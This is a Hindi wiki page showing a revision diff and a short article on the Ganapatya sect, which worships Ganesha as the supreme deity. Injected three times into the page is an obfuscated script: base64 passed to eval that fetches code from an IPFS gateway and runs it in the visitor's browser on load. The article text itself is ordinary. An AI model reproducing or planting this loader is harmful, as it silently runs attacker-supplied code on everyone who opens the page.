"गणपत्य संप्रदाय" के अवतरणों में अंतर
फ़ौज़िया ख़ान (चर्चा | योगदान) ('{{पुनरीक्षण}} '''गणपत्य संप्रदाय''' के लोग गूढ़ हिंदू स...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "Category:हिन्दू धर्म कोश" to "Category:हिन्दू धर्म कोशCategory:धर्म कोश") |
||
पंक्ति 13: | पंक्ति 13: | ||
{{धर्म}} | {{धर्म}} | ||
[[Category:हिन्दू सम्प्रदाय]] | [[Category:हिन्दू सम्प्रदाय]] | ||
− | [[Category:हिन्दू धर्म]] [[Category:हिन्दू धर्म कोश]] | + | [[Category:हिन्दू धर्म]] [[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]] |
[[Category:नया पन्ना मार्च-2012]] | [[Category:नया पन्ना मार्च-2012]] | ||
__INDEX__ | __INDEX__ |
12:14, 21 मार्च 2014 का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गणपत्य संप्रदाय के लोग गूढ़ हिंदू संप्रदाय के सदस्य है जो गजानन गणेश[1] को परम देवता मानकर उनकी पूजा करते हैं।
- लगभग 10वीं शताबदी में यह संप्रदाय अपने चरम पर था और इसने सभी महत्त्वपूर्ण कार्यों और धार्मिक अनुष्ठानों के प्रारंभ में संतुष्ट किए जाने वाले महत्त्वपूर्ण देवता के रूप में गणेश की स्थापना की।
- इस संप्रदाय ने गणेश को समर्पित मंदिर बनवाए, जिनमें सबसे बड़ा, तिरुचिरापल्ली (तमिलनाडु) में चट्टानों को काटकर बनाया गया मंदिर उच्चि-पिल्लैयार कोविल है।
- गणेश की पूजा उनकी मूर्ति के समक्ष ध्यान के द्वारा और बिना ध्यान किए फ्ल फूल अर्पित करके, दोनों तरीके से की जाती है।
- इस संप्रदाय के सदस्य माथे पर गोल लाल टीका लगाते हैं और कंधों पर हाथी का सिर और दांत का चिह्न अंकित करवाते हैं।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>